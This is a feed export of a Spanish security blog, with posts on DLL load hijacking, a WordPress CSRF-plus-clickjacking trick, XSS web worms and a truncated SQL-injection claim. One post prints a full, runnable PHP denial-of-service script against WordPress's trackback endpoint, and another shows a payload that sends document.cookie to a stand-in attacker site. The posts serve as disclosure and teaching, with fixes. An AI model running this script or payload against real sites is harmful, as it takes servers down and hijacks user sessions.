<p>En primer lugar, es importante comprender de donde viene el agujero de seguridad. A día de hoy, se han encontrado en unos días ya <strong>cientos</strong> de aplicaciones vulnerables, lo cual levanta sospechas de que la culpa no es de esas aplicaciones, sino del propio windows, ¿verdad?</p>
<p>Indagando un poco sobre el tema, he encontrado la función de marras que ha liado todo este jaleo, se trata de <a href="http://msdn.microsoft.com/en-us/library/ms686203%28VS.85%29.aspx">SetDllDirectory</a>. Pero para entender esta función, primero hay que entender bien el tema de las Dll.</p>
<p>Cuando un programa en windows intenta cargar una Dll, existen una serie de rutas donde intentará encontrar el fichero (al estilo $PATH), setDllDirectory permite agregar un directorio mas donde windows buscará las Dll, de forma que un developer puede poner todas sus dll en un directorio y llamar a setdlldirectory pasándole la ruta de ese directorio, y hasta ahí todo parece perfecto. Veamos la definición de la función:</p>
<pre>BOOL WINAPI SetDllDirectory(
  __in_opt  LPCTSTR lpPathName
);</pre>
<p>Pues si, es así.</p>
<p>Si leemos un poco mas en la MSDN, vemos que:</p>
<p><em>After calling  <strong>SetDllDirectory</strong>, the DLL search path is:</em></p>
<ol>
<li><em>The  directory from which the application loaded.</em></li>
<li><em>The directory  specified by the </em><em>lpPathName parameter.</em></li>
<li><em>The system  directory. Use the  <a href="http://msdn.microsoft.com/en-us/library/ms724373%28v=VS.85%29.aspx"><strong>GetSystemDirectory</strong></a> function to get the path of this directory. The name of this directory  is System32.</em></li>
<li><em>The 16-bit system directory. There is no function  that obtains the path of this directory, but it is searched. The name of  this directory is System.</em></li>
<li><em>The Windows directory. Use the  <a href="http://msdn.microsoft.com/en-us/library/ms724454%28v=VS.85%29.aspx"><strong>GetWindowsDirectory</strong></a> function to get the path of this directory.</em></li>
<li><em>The directories that  are listed in the PATH environment variable.</em></li>
</ol>
<p>Es decir, antes de llamar a SetDllDirectory, las Dll se empezaban a buscar en el punto 3. hasta el punto 6. Para un developer que está haciendo una aplicación es muy útil poder agregar un directorio mas, en el punto 2. Sin embargo, fijaros en el punto 1, <strong>SetDllDirectory no solo agrega una ruta mas para encontrar la Dll, sino que además, agrega también la ruta del directorio de trabajo desde el que se ha lanzado la aplicación!</strong>.</p>
<p>Que pasa entonces si la aplicación, que es la aplicación asociada para abrir ficheros png, al iniciarse necesita cargar &#8216;hola.dll&#8217;? Que si el desarrollador utiliza SetDllDirectory en algún sitio, el primer lugar donde se irá a buscar hola.dll es al lado del fichero png que hemos abierto, que podrías estar por ejemplo, en un pen drive, en una unidad compartida&#8230;etc.</p>
<p>Explotar esto es tan fácil como poner la dll que el programa irá a buscar al lado del fichero de datos asociado con el programa. Cuando el usuario haga click en el fichero, por ejemplo un png (o cualquier otro), se ejecutará el programa, que llamará a SetDllDirectory y luego empezará a cargar las Dll, cargando así nuestra Dll maliciosa que hay al lado del fichero png, doc, o lo que sea.</p>
<p>Para mas inri, nuestra Dll maliciosa podría estar oculta, y ni siquiera la vería el usuario.</p>
<p>Esto es especialmente grave, debido a que si ahora cambian la función, miles de aplicaciones dejarán de funcionar, por que la utilizaban. Si no la cambian, miles de aplicaciones son a día de hoy vulnerables, y el pobre usuario de windows no podrá ni abrir un png de un pen drive, sin que le tiemble la mano.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rooibo.com/2010/08/29/toda-la-verdad-sobre-dll-load-hijacking/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows es estos días, mucho mas inseguro que nunca</title>
		<link>http://www.rooibo.com/2010/08/28/windows-es-estos-dias-mucho-mas-inseguro-que-nunca/</link>
		<comments>http://www.rooibo.com/2010/08/28/windows-es-estos-dias-mucho-mas-inseguro-que-nunca/#comments</comments>
		<pubDate>Sat, 28 Aug 2010 13:24:14 +0000</pubDate>
		<dc:creator>jcarlosn</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[windows seguridad dll]]></category>

		<guid isPermaLink="false">http://www.rooibo.com/?p=269</guid>
		<description><![CDATA[Nota: los detalles técnicos sobre este problema de seguridad están en este segundo post.
El sistema operativo de Microsoft no goza de una buena fama en lo que a seguridad se refiere. Ha sufrido decenas de problemas de seguridad muy graves que han provocado en el pasado y actualmente, perdidas millonarias a empresas y organizaciones.
Hoy en [...]]]></description>
			<content:encoded><![CDATA[<p>Nota: los detalles técnicos sobre este problema de seguridad están en este <a href="http://www.rooibo.com/2010/08/29/toda-la-verdad-sobre-dll-load-hijacking/">segundo post</a>.</p>
<p>El sistema operativo de Microsoft no goza de una buena fama en lo que a seguridad se refiere. Ha sufrido decenas de problemas de seguridad muy graves que han provocado en el pasado y actualmente, perdidas millonarias a empresas y organizaciones.</p>
<p>Hoy en día, cualquier usuario de internet, sabe que Windows, es inseguro. Sin embargo, esto a veces es mas cierto, y otras veces menos, dependiendo de los descubrimientos que se hacen, y de las jugadas por parte de Microsoft para paliar estos problemas.</p>
<p>Sin embargo, el mes de agosto está siendo un mes negro para la seguridad en Windows, aunque mucha gente no lo sabe. Todo empezó realmente hace 10 años, cuando el célebre Georgi Guninsky descubrió un agujero de seguridad en Windows NT, XP, 2000, 95 y 98:</p>
<p><a href="http://www.securityfocus.com/bid/1699/discuss">http://www.securityfocus.com/bid/1699/discuss</a></p>
<p>Este agujero de seguridad, consistía en que cuando se accede a un fichero de datos (por ejemplo, un .doc) que está en un directorio cualquier del sistema, Windows intenta cargar los ficheros dll que necesita para ejecutar esa aplicación desde la ubicación en la que está el fichero, antes de intentarlos cargas desde los directorios normales del sistema.</p>
<p>Esto significa que si ponías un fichero .doc al lado de un fichero .dll concreto, al abrir el .doc con Office, el sistema cargaba y ejecutaba el fichero dll, como consecuencia.</p>
<p>De esta forma, era posible ejecutar código solo con que el usuario abriese un .doc, un jpeg, un png, un gif o prácticamente cualquier cosa.</p>
<p>Sin embargo, por aquel entonces, aun no estaba claro el alcance de este agujero, y pasó como una entrada mas en la lista de seguridad bugtraq.</p>
<p>Y no fue hasta el 18 de agosto de este año, que la firma de seguridad Acros, envió un aviso a la lista de seguridad bugtraq diciendo que había encontrado un agujero de seguridad en iTunes, que realmente, consistía en hacer lo exactamente descrito por Guninsky (mas o menos) 10 años atrás.</p>
<p>Como consecuencia de este aviso, HD Moore, el 23 de agosto pública una <a href="http://blog.rapid7.com/?p=5325">entrada en Rapid7</a> en la que explica que el ya conocía este problema, que había intentado que se solucionase rápidamente, y que estaba en contacto con Microsoft, donde le habían dicho que ellos también conocían el problema.</p>
<p>Prácticamente el mismo día HD Moore escribe en el <a href="http://blog.metasploit.com/2010/08/exploiting-dll-hijacking-flaws.html">blog de metasploit framework</a>, una explicación de como funciona este bug, y además proporciona lo que el llama DllHijackAuditKit, un conjunto de scripts diseñado para testear automáticamente si una aplicación de windows es vulnerable a este error.</p>
<p>Como consecuencia de esto, aparecen en securityfocus los próximos días (incluido hoy), una inmensa cantidad de avisos de software vulnerable a este problema, entre los que se encuentran Photoshop, Office, Firefox, y un largo etc.</p>
<p>La forma de explotarlo es sencilla: un pen drive, una unidad remota, etc. Cualquier directorio en el que podamos poner una dll oculta y un fichero, que sea abierto por un programa vulnerable al hacer doble click en el, es vulnerable.</p>
<p>Sin duda, es increíble que 10 años después, esto siga funcionando (con variaciones técnicas) y que provoque una oleada inmensa de problemas de seguridad en decenas de software usados por millones de personas, provocando una situación de inseguridad, muy elevada.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rooibo.com/2010/08/28/windows-es-estos-dias-mucho-mas-inseguro-que-nunca/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Agujero de seguridad en WordPress (por segunda vez)</title>
		<link>http://www.rooibo.com/2010/02/21/agujero-de-seguridad-en-wordpress-por-segunda-vez/</link>
		<comments>http://www.rooibo.com/2010/02/21/agujero-de-seguridad-en-wordpress-por-segunda-vez/#comments</comments>
		<pubDate>Sun, 21 Feb 2010 00:17:20 +0000</pubDate>
		<dc:creator>jcarlosn</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.rooibo.com/?p=258</guid>
		<description><![CDATA[Bueno, después del primer agujero de seguridad que encontré y explique en mi blog, que afectaba a wordpress, he estado bastante tiempo sin escribir en el blog, y que mejor manera que volver a retomar el blog, que con el mismo tema que lo dejé: seguridad y wordpress.
Hace unos días encontré un problema que afecta [...]]]></description>
			<content:encoded><![CDATA[<p>Bueno, después del primer agujero de seguridad que encontré y explique en mi blog, que afectaba a wordpress, he estado bastante tiempo sin escribir en el blog, y que mejor manera que volver a retomar el blog, que con el mismo tema que lo dejé: seguridad y wordpress.</p>
<p>Hace unos días encontré un problema que afecta a <strong>todas las versiones de wordpress</strong>, y que puede ser explotado de forma bastante sencilla, sin embargo, requiere un poco de interacción con el administrador del blog, para que caiga en nuestra pequeña trampa.</p>
<p>Insisto en que no se trata de un engaño ni de que el administrador nos de su contraseña ni nada rastrero, es un agujero de seguridad real, como ahora explicaré.</p>
<p>El problema empieza en el fichero press-this.php, dentro de wp-admin:</p>
<p><a href="http://www.ejemplo.com/wordpress/wp-admin/press-this.php?t=Hacked%20by%20me&amp;s=a%20pro%20hacker%20hacked%20this%20blog">http://www.ejemplo.com/wordpress/wp-admin/press-this.php?t=Hacked%20by%20me&amp;s=a%20pro%20hacker%20hacked%20this%20blog</a></p>
<p>Si el administrador del sitio visitase esta url (ya veremos como), le sale un editor para crear una nueva entrada en el blog, y además, rellenado ya con un título para la entrada y un cuerpo para la entrada, que podemos rellenar utilizando esas dos variables que van por GET.</p>
<p>Esto es un pequeño <a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">CSRF</a> que nos permite rellenar el formulario sin que el usuario toque nada.</p>
<p>El problema está en que aunque montemos una web, tipo www.webmuymuymala.com y dentro metamos un iframe que apunte a esa url, y mandando un correo, hagamos que el dueño del blog entre a www.webmuymuymala.com, aun y así, no pasará nada, por que aunque el contenido del nuevo post se autorellena, falta pulsar el botón publicar, cosa que el administrador no hará.</p>
<p>Llegados a este punto, podemos tirar de otra técnica explicada aquí en este mismo blog, llamada <a href="http://www.rooibo.com/2008/10/05/clickjacking-a-fondo-y-con-ejemplos/">clickjacking</a>,  para insertar un iframe apuntando a esa URL, bajarle la opacidad a 0, de forma que no se ve nada, y justo debajo del botón publicar, poner un botón que ponga: entrar en mi página!, que aparezca al entrar en www.webmuymuymala.com.</p>
<p>Ahora solo tenemos que convencer al administrador del blog para que entre en nuestra web, el verá una portada y un botón normal y corriente para entrar en la web, y cuando clique, estará clicando en un iframe transparente que tiene encima, concretamente, en el botón publicar del post pre-rellenado.</p>
<p>Lo voy a ilustrar con un par de imagenes, para que se entienda mas fácil:</p>
<p>Página web normal y corriente, con un iframe dentro, que apunta a lo explicado arriba</p>
<p style="text-align: center;"><a href="http://www.rooibo.com/wp-content/uploads/Imagen-2.png"><img class="aligncenter size-medium wp-image-259" title="clickjacing en wordress" src="http://www.rooibo.com/wp-content/uploads/Imagen-2-300x135.png" alt="" width="300" height="135" /></a></p>
<p>Ahora reducimos un poco la opacidad del iframe, para que se vea lo que hay debajo:</p>
<p><a href="http://www.rooibo.com/wp-content/uploads/Imagen-3.png"><img class="aligncenter size-medium wp-image-261" title="clickjacing en wordpress 2" src="http://www.rooibo.com/wp-content/uploads/Imagen-3-300x136.png" alt="" width="300" height="136" /></a></p>
<p>y finalmente reducimos la opacidad a 0, ¿alguien se daría cuenta del engaño? Es imposible, sin tener instalada alguna extensión como noscript.</p>
<p><a href="http://www.rooibo.com/wp-content/uploads/Imagen-1.png"><img class="aligncenter size-medium wp-image-262" title="clickjacking en wordpress" src="http://www.rooibo.com/wp-content/uploads/Imagen-1-300x194.png" alt="" width="300" height="194" /></a></p>
<p>Como veis, es totalmente imposible saber que hay un iframe transparente encima de ese botón enter.</p>
<p>Cuando el administrador pulse en el botón Enter, estará picando en publicar y agregará una nueva entrada a la portada de su blog, sin llegar a ver nada.</p>
<p>Para evitar este tipo de problemas, las páginas importantes como facebook o twitter impiden cargar ciertas áreas dentro de un iframe, he contactado con wordpress y les he recomendado que la administración no se pueda cargar en un iframe, han abierto un ticket aquí:</p>
<p>http://core.trac.wordpress.org/ticket/12293</p>
<p>Y están debatiendo que hacer. En wordpress.com, el servicio público que ofrecen ya está parcheado. Para variar, y debido a mi MUY mala relación con wordpress, han vuelto a no darme crédito por el aviso ni por nada (es lo que tiene llevarse mal, muy mal), aunque he querido arreglar un poco las cosas y no he publicado hasta que Ryan Boren, de wordpress me ha dado el visto bueno.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rooibo.com/2010/02/21/agujero-de-seguridad-en-wordpress-por-segunda-vez/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Agujero de seguridad muy grave en WordPress</title>
		<link>http://www.rooibo.com/2009/10/17/agujero-de-seguridad-en-wordpress/</link>
		<comments>http://www.rooibo.com/2009/10/17/agujero-de-seguridad-en-wordpress/#comments</comments>
		<pubDate>Sat, 17 Oct 2009 16:00:51 +0000</pubDate>
		<dc:creator>jcarlosn</dc:creator>
				<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://rooibo.wordpress.com/?p=215</guid>
		<description><![CDATA[Cada vez mas y mas gente entiende y conoce los típicos errores de seguridad que se cometen al programar páginas web dinámicas, incluso existen esfuerzos y proyectos por catalogar este tipo de errores, como si de una enciclopedia de seguridad se tratase.
Sin embargo, este es un enfoque poco realista del problema, la seguridad informática no [...]]]></description>
			<content:encoded><![CDATA[<p>Cada vez mas y mas gente entiende y conoce los típicos errores de seguridad que se cometen al programar páginas web dinámicas, incluso existen esfuerzos y proyectos por catalogar este tipo de errores, como si de una enciclopedia de seguridad se tratase.</p>
<p>Sin embargo, este es un enfoque poco realista del problema, la seguridad informática no trata acerca de aplicar ciertos patrones para intentar encontrar errores, no trata sobre lo que debes y lo que no debes hacer. Trata exclusivamente de buscarle la vuelta a todo, de preguntarse si aquello que ves, es solo como lo ves, o puede mirarse desde otro punto de vista. A menudo la seguridad informática trata sobre preguntarse si el código que vemos hace sólo lo que dice que hace, o puede hacer algo mas.</p>
<p>Pese a que esta entrada trata sobre un agujero de seguridad que he encontrado en wordpress, y que afecta a todas las versiones, incluida la última, he querido empezar aclarando todo esto, para poder explicar por que todavía no existe parche para el bug, o por que wordpress no se toma en serio estos problemas.</p>
<p>Hace 6 días, descargué el código de wordpress de la página oficial, lo agregue como proyecto a mi IDE, y empecé a leer el código, al cabo de poco rato, abrí el fichero wp-trackbacks.php, y me di cuenta de que existía un error muy grave en el, tanto que permitiría a un usuario cualquiera de internet, dejar completamente caído cualquier servidor que aloje wordpress, en tan solo 5 minutos y con unas 20 y pico peticiones únicamente. El error consiste en realizar una petición que a wordpress le resulte tan compleja de procesar, que invierta muchísima memoria y CPU en ella, tanta que cuando le llegue la siguiente petición, y la siguiente y la siguiente, llegue un momento que se colapse, y no sea capaz de atender nada mas. Esto acaba provocando que el servidor completo deje de responder, y el resto de visitantes, no puedan ver la páginas.</p>
<p>Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, ni de nada, son sólo 20 peticiones a lo sumo, desde una línea ADSL convencional, para dejar K.O. a cualquier servidor que hospede un blog basado en wordpress.</p>
<p>Podríamos decir que cualquier chico en internet, podría tener el blog mas grande de toda la red, con 2 clicks, hacer que deje de funcionar indefinidamente.</p>
<p>Sin embargo, tras comunicar el error a security@wordpress.org, no obtuve respuesta. Al cabo de 3 o 4 días sin respuesta, reenvié el correo a m@wordpress.org (el creador de wordpress) y al cabo de 2 días mas, me contestaron diciéndome que lo arreglarían, aunque no iban a utilizar el arreglo que yo había sugerido si no otro, y que no sabían muy bien cuando lo arreglarían, vaya, como si todo esto fuese una tontería y no importase que millones de wordpress puedan ser tirados por cualquiera haciendo 3 clicks. Y no solo el wordpress, sino el servidor entero que lo hospeda.</p>
<p>Tras esto, empecé a estar molesto, me di cuenta de que si esto fuese un SQL Injection de libro, ya habría parche, pero que para ellos esto es un bug de segunda. Sin embargo lo gracioso es que la solución alternativa que ellos me han propuesto en el correo, es incorrecta, y wordpress seguiría siendo vulnerable incluso después de actualizar (sea cuando sea que pongan disponible la actualización).</p>
<p>Por ello, en este post, aparte de explicar el bug ,y dar un código de ejemplo para explotarlo, voy a explicar su solución, y luego la mía, y por que la suya es incorrecta.</p>
<p>El problema está, como ya he dicho en wp-trackbacks.php, donde hay el siguiente código:</p>
<blockquote><p>if ( function_exists(&#8216;mb_convert_encoding&#8217;) ) { // For international trackbacks<br />
$title     = mb_convert_encoding($title, get_option(&#8216;blog_charset&#8217;), $charset);<br />
$excerpt   = mb_convert_encoding($excerpt, get_option(&#8216;blog_charset&#8217;), $charset);<br />
$blog_name = mb_convert_encoding($blog_name, get_option(&#8216;blog_charset&#8217;), $charset);<br />
}</p></blockquote>
<p>Y $charset viene a través de $_POST['charset'], igual que el resto, todas vienen de $_POST, enviadas por el usuario, y no existe ningún tipo de control de longitud sobre ellas. El problema reside en mb_convert_encoding, que es una función que convierte una cadena de texto de un charset dado, a otro, no solo acepta convertir del charset X al charset Y, sino que permite especificar una lista de charset separados por coma, en el charset de origen, y si recibe una lista, probará hasta encontrar el charset correcto, ejemplo:</p>
<blockquote><p>$text = mb_convert_encoding($text,&#8217;UTF-8&#8242;,&#8217;UTF-7,ISO-8859-1&#8242;);</p></blockquote>
<p>Esa línea convertiría la variable $text a UTF-8 probando primero si está inicialmente en UTF-7 o en ISO-8859-1.Sin embargo, algo curioso de mb_convert_encoding, es que si ejecutamos algo así:</p>
<blockquote><p>$text = mb_convert_encoding($text,&#8217;UTF-8&#8242;,&#8217;ISO-8859-1,ISO-8859-1,ISO-8859-1,ISO-8859-1&#8242;);</p></blockquote>
<p>mb_convert_encoding intentará detectar el charset de $text, y primero comprobará si es ISO-8859-1, luego volverá a comprobarlo, y luego otra vez, y otra mas. Y tantas, como veces lo pongamos en la lista. Esto no sería un problema si no fuese por que el mecanismo para determinar el charset de una cadena unicode (multibyte) es realmente costoso para el sistema.</p>
<p>Por lo que si en $charset (mediante $_POST) le enviamos una cadena con 350k de UTF-8 separados por comas, y en $title por ejemplo, le enviamos una cadena de 350k de largo, hará comprobaciones sobre 350k^2 caracteres, lo cual requiere realmente mucho tiempo (minutos). Minutos durante los cuales el servidores está casi casi saturado, y eso sumado a que podemos repetir la petición X veces, hasta que tiene que hacer 350k^2*X, lo cual le acaba resultando casi imposible, o muy largo, y el resto de servicios y las peticiones legítimas a la web dejan de funcionar, por que no quedan recursos.</p>
<p>El código del exploit está hecho php, y se ejecuta desde el terminal así: php exploit.php http://urldelblog.com, y es el que sigue:</p>
<blockquote><p>&lt;?php<br />
//wordpress Resource exhaustion Exploit<br />
//<span id="sample-permalink">http://rooibo.wordpress.com/</span><br />
//security@wordpress.org contacted and get a response,<br />
//but no solution available.<br />
if(count($argv) &lt; 2) {<br />
echo &#8220;You need to specify a url to attack\n&#8221;;<br />
exit;<br />
}</p>
<p>$url = $argv[1];</p>
<p>$data = parse_url($url);<br />
if(count($data) &lt; 2) {<br />
echo &#8220;The url should have http:// in front of it, and should be complete.\n&#8221;;<br />
exit;<br />
}</p>
<p>if(count($data) == 2) {<br />
$path = &#8221;;<br />
} else {<br />
$path = $data['path'];<br />
}<br />
$path = trim($path,&#8217;/');<br />
$path .= &#8216;/wp-trackback.php&#8217;;<br />
if($path{0} != &#8216;/&#8217;) {<br />
$path = &#8216;/&#8217;.$path;<br />
}</p>
<p>$b = &#8220;&#8221;;<br />
$b = str_pad($b,140000,&#8217;ABCEDFG&#8217;);<br />
$b = utf8_encode($b);<br />
$charset = &#8220;&#8221;;<br />
$charset = str_pad($charset,140000,&#8221;UTF-8,&#8221;);</p>
<p>$str = &#8216;charset=&#8217;.urlencode($charset);<br />
$str .= &#8216;&amp;url=www.example.com&#8217;;<br />
$str .= &#8216;&amp;title=&#8217;.$b;<br />
$str .= &#8216;&amp;blog_name=lol&#8217;;<br />
$str .= &#8216;&amp;excerpt=lol&#8217;;</p>
<p>$count = 0;<br />
while(1) {<br />
$fp = @fsockopen($data['host'],80);<br />
if(!$fp) {<br />
if($count &gt; 0) {<br />
echo &#8220;down!!!!\n&#8221;;<br />
exit;<br />
}<br />
echo &#8220;unable to connect to: &#8220;.$data['host'].&#8221;\n&#8221;;<br />
exit;<br />
}</p>
<p>fputs($fp, &#8220;POST $path HTTP/1.1\r\n&#8221;);<br />
fputs($fp, &#8220;Host: &#8220;.$data['host'].&#8221;\r\n&#8221;);<br />
fputs($fp, &#8220;Content-type: application/x-www-form-urlencoded\r\n&#8221;);<br />
fputs($fp, &#8220;Content-length: &#8220;.strlen($str).&#8221;\r\n&#8221;);<br />
fputs($fp, &#8220;Connection: close\r\n\r\n&#8221;);<br />
fputs($fp, $str.&#8221;\r\n\r\n&#8221;);</p>
<p>echo &#8220;hit!\n&#8221;;<br />
$count++;<br />
}</p>
<p>?&gt;</p></blockquote>
<p>Para solucionar el problema y no ser vulnerables, es tan fácil como editar wp-trackbacks.php y poner un control sobre $_POST['charset']. Wordpress me ha sugerido que lo que harán será controlar que no tenga comas, sin embargo, eso es insuficiente, ya que mb_convert_encoding acepta arrays como argumento, en lugar de listas separadas por comas, y se pueden pasar arrays mediante $_POST usando [] en las variables. La solución pasar por eliminar cualquier coma de $_POST['charset'] y comprobar que no sea un array, con !is_array.</p>
<p>Dicho de otra forma, abrir wp-trackbacks.php, buscar la línea:</p>
<blockquote><p>$charset = $_POST['charset'];</p></blockquote>
<p>Y cambiarla por:</p>
<blockquote><p>$charset = str_replace(&#8220;,&#8221;,&#8221;",$_POST['charset']);<br />
if(is_array($charset)) { exit; }</p></blockquote>
<p>Y se soluciona el problema.</p>
<p>Como decía al principio del post, entiendo que en wordpress no se han tomado esto muy en serio, como anteriores problemas que encontré, por lo que he decidido que es mejor hacerlo público y que la gente lo solucione, que esperar a ver cuanta gente mas ha encontrado ya este error, y no lo está aprovechando, ya que a wordpress parece no importarle demasiado. No se si me estoy equivocando o no, pero me siento impotente de no poder hacer nada para que este error sea corregido ya, y solo puedo hacer dos cosas, o callármelo, y desear que nadie mas encuentre el error, o divulgarlo, junto a su solución y que esto se arregle.</p>
<p><strong>Actualización</strong>: he revisado wp-trackbacks.php y desactivar los trackbacks no soluciona nada, ya que esto sucede ANTES de esa comprobación, la única solución es la que se explica en el post, modificar esa línea de wp-trackbacks.php.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rooibo.com/2009/10/17/agujero-de-seguridad-en-wordpress/feed/</wfw:commentRss>
		<slash:comments>67</slash:comments>
		</item>
		<item>
		<title>Que es un gusano web y cómo funciona</title>
		<link>http://www.rooibo.com/2009/05/01/que-es-un-gusano-web-y-como-funciona/</link>
		<comments>http://www.rooibo.com/2009/05/01/que-es-un-gusano-web-y-como-funciona/#comments</comments>
		<pubDate>Fri, 01 May 2009 12:56:59 +0000</pubDate>
		<dc:creator>jcarlosn</dc:creator>
				<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://rooibo.wordpress.com/?p=211</guid>
		<description><![CDATA[Antiguamente, los gusanos eran códigos maliciosos, preparados para extenderse rápidamente de sistema en sistema, mediante las redes p2p, el envío automatizado por correo, etc. Los gusanos eran programas informáticos, que al ejecutarlos, utilizaban tu ordenador para extenderse a muchos mas sistemas, sin que tu vieses absolutamente nada.
En la actualidad, con la extrema popularidad e importancia [...]]]></description>
			<content:encoded><![CDATA[<p>Antiguamente, los <a href="http://es.wikipedia.org/wiki/Gusano_inform%C3%A1tico">gusanos</a> eran códigos maliciosos, preparados para extenderse rápidamente de sistema en sistema, mediante las redes p2p, el envío automatizado por correo, etc. Los gusanos eran programas informáticos, que al ejecutarlos, utilizaban tu ordenador para extenderse a muchos mas sistemas, sin que tu vieses absolutamente nada.</p>
<p>En la actualidad, con la extrema popularidad e importancia que tiene el mundo web, los gusanos han ido evolucionando, de forma que ha nacido un nuevo tipo de gusano, que no infecta tu ordenador, ni es un programa compilado que debes descargar, sino que es un pequeño fragmento de código javascript, que infecta tu perfil en alguna web.</p>
<p>Todo empezó con los agujeros de seguridad de tipo <a href="http://en.wikipedia.org/wiki/Cross-site_scripting">Cross Site Scripting (XSS)</a>, un tipo de agujero de seguridad, al que no se le presta tanta atención como a otros que a priori parecen mas peligrosos, como los <a href="http://en.wikipedia.org/wiki/SQL_injection">Sql Injection</a>, o similares, pero que es tanto o mas peligroso.</p>
<p>Pero para entender los web worms, debemos empezar desde muy al principio, desde las bases de los ataques tipo XSS. Un ataque XSS persigue, normalmente, robar la cookie del visitante. La cookie es una pequeña porción de información, que sirve para que la página web, recuerde que te has autenticado correctamente, y no te pida la contraseña cada vez que quieres hacer una acción.</p>
<p>Para robar la cookie, los ataques XSS se sirven de código javascript, ya que el código javascript se ejecuta en el navegador, tiene acceso a las cookies del mismo, sin embargo, por seguridad, un código javascript solo puede ver las cookies del sitio web que hospeda ese código javascript.</p>
<p>Es decir, si yo visito www.ejemplo.com, y esta web me envía un javascript que accede a las cookies, este javascript no podrá ver mis cookies de otras páginas web.</p>
<p>Y es en esa protección, en la que reside el peligro del Cross Site Scripting; imaginemos una página web que te pregunta tu nombre al entrar, tu lo introduces, y te muestra por pantalla: Hola! &lt;nombreintroducido&gt;. Si yo, en el nombre, introduzco:</p>
<blockquote><p>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</p></blockquote>
<p>Mi código javascript, podrá acceder a las cookies de esa página web, ya que el código javascript, el navegador, lo recibe a través de la web que me ha preguntado mi nombre.</p>
<p>¿Cual es el peligro real de todo esto?</p>
<p>Veamos un ejemplo ficticio, pero posible&#8230;Imaginemos que gmail tiene un error de seguridad, y permite introducir código javascript en el cuerpo de un mail, yo podría escribirte un mail que contubiese el siguiente código:</p>
<blockquote><p>&lt;script&gt;document.location.href = &#8216;www.paginamaligna.com/recogercookie.php?cookie=&#8217;+document.cookie; &lt;/script&gt;</p></blockquote>
<p>Cuando tu abrieses el correo, el navegador te redirigiría hacía paginamaligna.com, pasándole por GET, tu cookie, a la cual hemos tenido acceso, ya que el javascript, para el navegador, procedía de gmail.</p>
<p>Una vez con tu cookie, borro mi cookie de gmail, y me pongo la tuya, ahora ya estoy autentificado en gmail, con tu nombre de usuario, y puedo leer tu correo.</p>
<p>Una vez entendido esto, entender los gusanos web (web worms) son fáciles de entender, imagina que yo estoy en una red social, y tengo un perfil público, en el cual hay un campo &#8216;intereses&#8217;, donde la gente pone lo que le gusta hacer. Si ese campo, permite introducir código HTML, sin filtrarlo, yo podría introducir:</p>
<blockquote><p>&lt;script&gt;alert(document.cookie);&lt;/script&gt;</p></blockquote>
<p>Y cuando alguien visitase mi perfil, se mostrase su cookie. Si ahora en lugar de un alert, introduzco un código, que hace un petición POST a la red social, y modifica el perfil de la victima, introduciendo en el campo intereses, el mismo código malicioso que yo tengo, cada persona que entre, se le modificará automáticamente su perfil, y cada persona que vea ese perfil modificado, modificará automaticamente el suyo, y así sucesivamente.</p>
<p>En unas horas, todos los perfiles de una red social pueden estar modificados, es decir, infectados con el código.</p>
<p>Además, este código podría enviarle las cookies al autor original del código, mediante una petición invisible a alguna web (usando un iframe invisible, por ejemplo), de forma que no solo ha infectado todos los perfiles, sino que tiene todas las cookies, de todo el mundo, en la web.</p>
<p>Aunque todo esto suene rocambolesco, es una realidad, y ha sucedido ya en muchas ocasiones, siendo quizás la mas famosa, la de <a href="http://en.wikipedia.org/wiki/Samy_(XSS)">samy</a>, un código javascript que infecto millones de perfiles en myspace, mediante un agujero de tipo XSS.</p>
<p>Como siempre, para protegerse de estos ataques, lo mejor es utilizar <a href="http://noscript.net/">noscript</a>, para firefox.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rooibo.com/2009/05/01/que-es-un-gusano-web-y-como-funciona/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Si aprecias tu privacidad, no utilices joneame</title>
		<link>http://www.rooibo.com/2009/04/30/si-aprecias-tu-privacidad-no-utilices-joneame/</link>
		<comments>http://www.rooibo.com/2009/04/30/si-aprecias-tu-privacidad-no-utilices-joneame/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 11:17:26 +0000</pubDate>
		<dc:creator>jcarlosn</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://rooibo.wordpress.com/?p=207</guid>
		<description><![CDATA[Esta es una de esas entradas, que se que me insultarán por haberla escrito, y que, al haberla enviado yo mismo a menéame, me crucificarán por ello, pero mis principios me obligan a publicarlo, por que no estoy de acuerdo con que se compare un servicio profesional como meneame, con uno amateur, como joneame, y [...]]]></description>
			<content:encoded><![CDATA[<p>Esta es una de esas entradas, que se que me insultarán por haberla escrito, y que, al haberla enviado yo mismo a menéame, me crucificarán por ello, pero mis principios me obligan a publicarlo, por que no estoy de acuerdo con que se compare un servicio profesional como meneame, con uno amateur, como joneame, y mucho menos aún, que solo esté permitido críticar a uno, y al otro no. Así que ahí va <img src='http://www.rooibo.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Como muchos sabréis, <a href="http://joneame.net/">joneame</a> es un clon de <a href="http://meneame.net/">meneame</a>, realizado por un joven vasco, el cual además de crear un clon de meneame utilizando el código original, ha hecho ciertas modificaciones, para agregar funcionalidades.</p>
<p>Una de las modificaciones mas interesantes, es la de intercambiar mensajes privados entre usuarios.</p>
<p>Sin embargo, estas modificaciones se han hecho sin preocuparse en absoluto por la seguridad, lo cual ha llevado, a que joneame es extremadamente inseguro.</p>
<p>Ayer auditando el código de joneame, encontré un agujero de seguridad de tipo SQL injection, un agujero tan grave que permite tomar el control del servidor (usando load_file e into outfile), por el cual cualquier usuario puede ser suplantado, y cualquier información en joneame: manipulada.</p>
